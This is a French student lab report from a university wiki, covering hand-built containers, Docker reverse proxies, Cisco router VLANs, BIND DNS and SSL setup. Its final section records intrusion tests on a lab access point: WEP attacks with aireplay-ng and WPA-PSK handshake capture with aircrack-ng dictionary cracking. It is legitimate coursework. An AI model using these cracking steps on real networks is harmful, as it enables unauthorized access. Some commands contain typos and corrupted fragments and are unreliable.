TP sysres IMA5sc 2018/2019 G11

De Wiki d'activités IMA
Révision datée du 17 décembre 2018 à 18:09 par Acarval (discussion | contributions) (→‎Configuration sur la VM)

Présentation générale

Lors de ce TP nous allons apprendre à utiliser docker. Dans un premier temps nous réaliserons à la main 3 dockers interconnectés à l'aide d'un commutateur virtuel puis nous utiliserons directement la solution Docker.

Déroulé du TP

Conteneur à la main

Séance 1 : 12/11/2018

Etapes réalisées : création de 3 systèmes de fichiers c1,c2,c3

On peut vérifier l'isolation de nos conteneurs en faisant df -h ou une fois le unshare réalisé en tapant le ps aux

création du commutateur virtuel : monpont.

On peut vérifier sa bonne activation avec la commande  : brctl show

création des interfaces virtuel

Pour chacun des conteneurs on va créer une interface virtuel vifX qui relieront chacune "monpont" à un conteneur. Un des conteneurs sera relié au bridge de la zabeth afin de nous relier au monde extérieur, ce sera lui le mandataire inverse. Pour nous il s'agit de C1. On peut vérifier la bonne liaison entre le conteneur et le commutateur logiciel en tapant ip l dans chacun des conteneurs et en regardant les interfaces reliées à brctl show.

Attention, parfois Docker est source de problèmes pour nos manipulations, pour s'en débarrasser on tape les commandes suivantes : 

iptables -F
iptables -F -t nat
iptables -P FORWARD ACCEPT


On va maintenant ajouter une IP à chaque interface virtuel pour être capable réaliser un ping depuis le réseau. Pour cela on se sert de ip address add et de ip route add.

sur chaque conteneur : ip address add dev eth0 192.168.0.x ip l set eth0 up

on vérifie en faisant ip r et on peut pinger nos machines entres elles !


Attention : tout les ip add seront supprimées au prochain reboot. Probablement de même pour les interfaces virtuels.

Séance 2 : 19/11/2018

Objectif de la séance : installer reverse proxy sur un conteneur et 2 serveurs web sur les autres.

Lors du démarrage de la séance pour ressusciter ce que l'on avait fait la dernière fois: 

mkdir c1,c2,c3

copie base fichiers 

export https_proxy="https://proxy.polytech-lille.fr:3128"
export http_proxy="http://proxy.polytech-lille.fr:3128"
debootstrap --include=apache2,vim stable /tmp/c1 // de même pour c2 et c3

Montage media 

mount -o loop /home/pifou/firstconteneur /tmp/c1 // de même pour c2 et c3
mount -o loop /home/pifou/firstconteneur2 /tmp/c2
mount -o loop /home/pifou/firstconteneur3 /tmp/c3

Création machine 

unshare -p -f -m -n -u chroot /tmp/c1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /tmp/c2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /tmp/c3 /bin/sh -c "mount /proc ; /bin/bash"


Création du commutateurs virtuels et des interfaces virtuels 

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth0@vif4

ip link set vif1 master monpont
ip link set vif2 master monpont
ip link set vif3 master monpont
ip link set vif4 master monpont

Activation de monpont et des vifs 

ip link set dev monpont up
ip link set dev vif1 up
ip link set dev vif2 up
ip link set dev vif3 up
ip link set dev vif4 up

Connection: (numero de PID arbitraire) 

ip link set eth0@vif2 netns /proc/27880/ns/net name eth0 // pour vif 1 
ip link set eth0@vif2 netns /proc/27879/ns/net name eth0 // pour vif 2
ip link set eth0@vif2 netns /Bcanuproc/27881/ns/net name eth0 // pour vif 3
ip link set eth0@vif2 netns /proc/27882/ns/net name eth0 // pour vif 4




(numéro de PID arbitraire)
nsenter -t 27879 -n ip address add dev eth0 192.168.0.2/24 //pour C1 
nsenter -t 27880 -n ip address add dev eth0 192.168.0.3/24 //pour C2 
nsenter -t 27881 -n ip address add dev eth0 192.168.0.4/24 //pour C3

pour eth1, on cherche une IP valable dans le réseau du bridge, soit une IP qui ne donne rien quand on la ping puis : 

nsenter -t 27879 -n ip address add dev eth1 172.26.145.45/24 // pour que c1 soit le mandataire inverse 
ip link set eth1 up // dans le conteneur c1

Dans chaque conteneur : 

ip link set eth0 up
ip link set dev lo up


Nous pouvons à présent pinger les 3 machines entre elles et depuis la machine physique. Paramétrage du mandataire inverse : On inscrit sur gandi.net 2 sitBcanues : websiteun et websitedeux.

Dans etc/apache2/sites-available/000-default.conf de notre conteneur C1 qui fait office de mandataire inverse: 

< VirtualHost *:80> 
ServerName websinteun.plil.space
ProxyPass "/web1" "http://192.1680.3/"
ProxyPassReverse "/web1" "http://192.168.0.3/"

ProxyPass "/web2" "http://192.1680.4/"
ProxyPassReverse "/web2" "http://192.168.0.4/"

ProxyRequests Off
</VirtualHost > 

ip route add default via 172.26.145.254

Il faut démarrer le serveur apBcanupache sur les deux conteneurs de base.


Au final nous pouvons accéder à nos deux conteneurs selon l'URL rentrée : 

websiteun.plil.space/ --> accès sur le conteneur C2
websitedeux.plil.space/ --> accès sur le conteneur C3

11h25 => Serveurs Web OK (unshare)

Docker

Séance 2 : 19/11/2018

résumé des tâches à réaliser

1- docker run -t -i debian 2- installer apache et vi (export http htpps si besoin) 3- en dehors du conteneur : docker commit monNom pour sauvegarder l'image de ce conteneur 4- on peut sortir 5- docker image 6-réseau privé: docker network create à faire avant 7- lancer 3 docker --net nomdemonreseau avec un conteneur que je lance en --p:80.

Réalisation:

Dans etc/default/docker : on doit commenter Docker opts ="--iptables=false" 

service docker restart
iptables-save

Ensuite on peut lancer notre docker avec 

docker run -t -i debian

Puis on exporte les variables d'environnements pour le proxy et on peut faire 

apt update 
apt install apache2
apt install vi

Ensuite on sort du conteneur en faisant exit 

docker image //nous permet de voir les différents docker disponible
docker commit ID debian_apache// nous permet de sauvegarder ce docker avec cette configuration

On crée le réseau privé : docker network create OurReseau

On peut lancer 3 dockers en parrallèle : docker run -i -t --network=OurReseau debian_apache docker run -i -t --network=OurReseau debian_apache docker run -i -t --network=OurReseau -p:80 debian_apache // Docker écoute sur le port 80


On récupère les adresses ip des deux conteneurs serveur web en faisant: 

ip a

Dans notre docker mandataire inverse on vient copier le même fichier de configuration que pour le conteneur à la main en pensant juste à modifier les ip Il ne faut pas oublier d'activer proxy et proxyhttps avec a2enmod

Ensuite sur gandi on crée deux nouveaux sites et un nouveau mandataire. On configure avec l'ip de la zabeth.

On teste les adresses suivantes : c2.plil.space c1.plil.space

On constate que tout fonctionne parfaitement!

12h50 : Serveurs WEB (docker) OK

Réseau avancé

Séance 1 : 26/11/2018

Analyse et choix d'organisation

Nous avons choisi la partie numéro 2 à savoir la configuration du routeur 4221


Avant de commencer à configurer le routeur nous nous sommes mis d'accord avec le groupe s'occupant de l'autre routeur ainsi que celui s'occupant du point d'accès pour l'organisation et la répartition des différentes adresses IP. Il a également fallu vérifier ce que le groupe des IMA2A avait fait pour ne pas entrer en collision avec ce qu'ils ont fait.

Voici ce que les IMA2A ont fait :

Nom Vlan Réseau IPV4 Réseau IPV6 IP Routeur 1 IP Routeur 2 IP Routeur Virtuel
Xen 42 193.48.57.160/28 2001.660.4401.60B1::/64 193.48.57.174/28 193.48.57.173/28 193.48.57.172/28
Groupe 1 2 10.60.1.0/24 2001.660.4401.60B2::/64 10.60.1.254/24 10.60.1.253/24 10.60.1.252/24
Groupe 2 3 10.60.2.0/24 2001.660.4401.60B3::/64 10.60.2.254/24 10.60.2.253/24 10.60.2.252/24
Groupe 3 4 10.60.3.0/24 2001.660.4401.60B4::/64 10.60.3.254/24 10.60.3.253/24 10.60.3.252/24
Groupe 4 5 10.60.4.0/24 2001.660.4401.60B5::/64 10.60.4.254/24 10.60.4.253/24 10.60.4.252/24
Groupe 5 6 10.60.5.0/24 2001.660.4401.60B6::/64 10.60.5.254/24 10.60.5.253/24 10.60.5.252/24
Interconnexion 130 192.168.222.0/29 Router1 : fe80::42:2 // Router2 : fe80::42:3 // Ecole : fe80::42:1 192.168.222.1/29 192.168.222.2/29


On remarque que les adresses prises par eux se trouvent après 193.48.57.174/28 ce qui nous laissent toutes les adresses inférieures. Pour le réseau 10.60.X.0/24 nous pouvons prendre les adresses avec X >5 On peut donc attribuer d'ores et déjà les adresses suivantes : 193.48.57.188 Routeur 1 193.48.57.189 Routeur 2 193.48.57.190 Machine virtuel

On attribue donc les adresses suivantes sur le Réseau IPV4

on a choisi la convention suivantes : les groupes obtiennent l'ip 10.60.10+numeroDeGroupe.0/24

Configuration du commutateur

Connexion avec Minicom

Nous nous sommes connectés directement via USB au routeur pour ensuite taper les commande suivantes 

demesg | grep tty // nous permet de vérifier que nous sommes bien connectés au commutateur
minicom -os

Dans minicom on indique les informations de configuration : 

baudrate : 9600
/ttyACM0
Hardware flow control : No

Configuration du commutateur

Nous avons 3 port GIGABIT disponible, GIGABIT 0 : relié au commutateur de l'école GIGABIT 1 : relié au commutateur 4006 par fibre GIGABIT 2 : relié au commutateur 6000 par cuivre

pour connaitre les interfaces disponibles: 

show run

D'autres commandes de bases très utiles : 

write // permet de sauvegarder la configuration
Configuration de l'interface pour le commutateur de l'école :
enable // passage en root 
configure terminal
interface GigabitEthernet0/0/1
no ip address
negotiation auto

service instance 11 ethernet
encapsulation dot1q 11
rewrite ingress tag pop 1
bridge-domain 11

service instance 12 ethernet
encapsulation dot1q 12
rewrite ingress tag pop 1
bridge-domain 12

service instance 13 ethernet
encapsulation dot1q 13
rewrite ingress tag pop 1
bridge-domain 13

...Et ainsi de suite jusque: 

service instance 21 ethernet
encapsulation dot1q 21
rewrite ingress tag pop 1
bridge-domain 21


service instance 43 ethernet
encapsulation dot1q 43
rewrite ingress tag pop 1
bridge-domain 43
 
service instance 131 ethernet
encapsulation dot1q 131
rewrite ingress tag pop 1
bridge-domain 131


Configuration des BDI :

On vient ici indiquer une adresse IP à chaque Vlan 

interface BDI11
ip address 10.60.11.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.11.254

interface BDI12
ip address 10.60.12.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.12.254

interface BDI13
ip address 10.60.13.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.13.254

interface BDI14
ip address 10.60.14.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.14.254

interface BDI15
ip address 10.60.15.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.15.254

interface BDI16
ip address 10.60.16.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.16.254

interface BDI17
ip address 10.60.17.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.17.254

interface BDI18
ip address 10.60.18.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.18.254

interface BDI19
ip address 10.60.19.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.19.254

interface BDI20
ip address 10.60.20.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.20.254

interface BDI21
ip address 10.60.21.253/24 255.255.255.000
standby version 11
standby 11 ip 10.60.21.254

Séance 2 : 26/11/2018

Configuration du commutateur suite

Séance 3 : 10/12/2018

spanning tree

Spanning-tree pvst

Nous permet d'éviter le rebouclage ARP entre les routeurs.

fin de configuration du routeur

root@cordouan:/home# lvcreate -L10G -n IMA5-Ate-home virtual 

 Logical volume "IMA5-Ate-home" created.

root@cordouan:/home# lvcreate -L10G -n IMA5-Ate-var virtual 

 Logical volume "IMA5-Ate-var" created.

2.1 Installation dans la machine virtuelle Xen

Nous allons ici partitionner var et home pour notre VM:

4 Services Internet

4.1 Serveur ssh

Activation de ssh (déjà installé) : 

sudo systemctl enable ssh
sudo systemctl start ssh
4.2 Serveur DNS

En attendant que le certificat SSL de notre serveur soit validé, on commence à configurer notre serveur DNS pour en faire un DNSSEC (un DNS sécurisé).

Dans un premier temps, nous installons apache2 et bind9 dans notre VM. apache2 va nous permettre de gérer notre siteweb et bind9 de gérer le serveur DNS. 

apt update
apt-get install bind9 dnsutils
Configuration sur Gandi

Sur Gandi, une plateforme d'enregistrement notamment des sites webs et DNS, nous achetons un nom de domaine : 

ate2.space

Nous voulons ensuite que notre site web puisse être accessible depuis l'extérieur, notamment grâce à un DNS personnel. Pour cela, nous enregistrons un nouveau serveur DNS dans Gandi qui ne sera visible que dans notre domaine. Nous affectons l'adresse ip de notre VM à ce DNS:

/*Image Gandi "NameServer"*/

A présent que le DNS est crée, il faut préciser qu'on souhaite qu'il soit utilisé pour la recherche de notre site web.

/*Image Gandi "DNS"*/

Configuration sur la VM

A présent, on doit configurer notre VM afin de jouer le rôle de serveur DNS.

Pour cela, tout se fera dans le répertoire /etc/bind.

Dans un premier temps, on crée un fichier de config db.ate2.space 

@       IN      SOA     ns.ate2.space. root.ate2.space (
                        2           ; Serial
                        604800      ; Refresh
                        86400       ; Retry
                        2419200     ; Expire
                        604800 )    ; Negative Cache TTL
;
        IN      NS      ns.neptune-poseidon.space.
        IN	 NS	 ns6.gandi.net.
@	 IN	 A	 193.48.57.187
ns      IN      A       193.48.57.187
www     IN      A       193.48.57.187

Ensuite on va configurer l'espace de noms, dans named.conf.local pour lui préciser quel fichier de configuration utiliser pour le DNS 

zone "ate2.space" {
        type master;
        file "/etc/bind/db.ate2.space";
        allow-transfer{none;}; //Précise si il doit questionner d'autres serveurs DNS jusqu'à trouver l'adresse correspondante
};

Et pour finir on active le serveur DNS, avec named.conf.options et on redémarre le service 

options {
        directory "/var/cache/bind";

        //............// 

        dnssec-enable yes;
        dnssec-validation auto;

        listen-on-v6 { any; };
        allow-recursion { localhost; };
};

On redémarre le service Bind9 

service bind9 restart

On check si le domaine est accessible 

host ate2.space

Séance 4 : 17/12/2018

Configuration routeur

Lors de la semaine le routeur, probablement lors d'un shutdown, s'est rallumé en pointant vers le mauvais os ce qui a eu pour effet de modifier la configuration pour cause d'incompatibilité. A notre arrivée le VLAN1 était down sans que l'on comprenne pourquoi. Tout d'abord la configuration du Vlan1 doit se faire sans encapsulation et untag. Cependant le problème a subsisté.

Après quelques recherches nous n'avons pas trouvé l'origine du problème cependant un simple reload du router à réglé le problème. Toutefois Le fait de changer le vlan en untag empêche le spanning tree de fonctionner et ne nous protège donc pas d'un effondrement du réseau par appel récursif de paquets. Nous avons donc du nous résoudre à ne laisser qu'un seul vlan1 sur un des deux routeurs pour éviter ce problème.

4.3 Sécurisation de site web par certificat

Création du certificat avec OpenSSL

On génère avec openssl deux fichiers, ate.csr et ate.space.key qui contiennent respectivement le Certificate Signing Request (CSR) et la clé privé. 

openssl req -nodes -newkey rsa:2048 -sha1 -keyout ate.space.key -out ate.csr
 -rsa:2048  -sha1 : représente la méthode de chiffrement
 -newkey : demande une nouvelle clé

Sur Gandi on va pouvoir acheter le certificat, pour cela on doit fournir le csr généré préalablement. Nous avons choisi l'authentification par fichier.

On place les clés fournies dans les répertoire suivant : 

/etc/ssl/certs/GandiStandardSSLCA2.pem

/etc/ssl/certs/ate2.space.crt                                                                       

/etc/ssl/private/ate2.space.key

Il faut maintenant attendre que le certificat soit mis en place du côté de gandi.

Configuration d'apache2

4.4 Sécurisation de serveur DNS par DNSSEC

5 Tests d’intrusion

5.1 intrusion par changement d'adresse MAC

5.2 Cassage de clef WEP d’un point d’accès Wifi

En suivant la même logique que pour le crackage de clé WAP: 

airmon-ng
airmon-ng start wlan0
airodump-ng --encrypt wep wlan0mon

On récupère les informations de cracotte10 et on lance la commande: 

airodump-ng -c 12 –-bssid 04:DA:D2:9C:50:53 -w /root/Desktop/WEP wlan0mon

Et on force la connection avec : 

aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:59 wlan0mon

5.3 Cassage de mot de passe WPA-PSK par force brute

Pour le cassage de la clé WPA nous allons : 

- récupérer les fichiers de handshake
- générer un dictionnaire contenant toutes les possibilités de mot de passe
- lancer le brute force du handshake

Nous avons utilisé un ordinateur portable (possédant donc une carte wifi) puis utilisé l'utilitaire suivant : 

airmon-ng

On connait à présent le nom de l'interface et on s'y connecte en mode moniteur pour analyser le réseau :

passage en mode moniteur : 

airmon-ng start wlan0

affichage du trafic: 

airodump-ng wlanS0mon

On récupère ensuite le nom du wifi que l'on veut craquer, dans notre cas ce sera cracotte10 

BSSIID de cracotte: 04:DA:D2:9C:50:59
channel : 9

On fait le handshake : 

airodump-ng -c 9 –-bssid 04:DA:D2:9C:50:59 -w /root/Desktop/Amaury wlanS0mon


Après avoir attendu un certain temps nous avons récupéré les fichiers suivants : 

Amaury-01.cap
Amaury-01.csv
Amaury-01.kismet.csv
Amaury-01.kismet.netxml

Nous avons ensuite généré le dictionnaire contenant toutes les possibilités de mot de passe, il s'agit simplement d'un fichier texte contenant tout les nombres de 0 à 100000000.

On peut réaliser le crackage de la clé : 

aircrack-ng -a2 -b 04:DA:D2:9C:50:59 -w /root/Desktop/Dictionnary.txt /root/Desktop/*.cap

-a indique la méthode de crack

Nous avons après plusieurs heures obtenus la clé WAP du wifi!

Récupérée de « https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G11&oldid=48930 »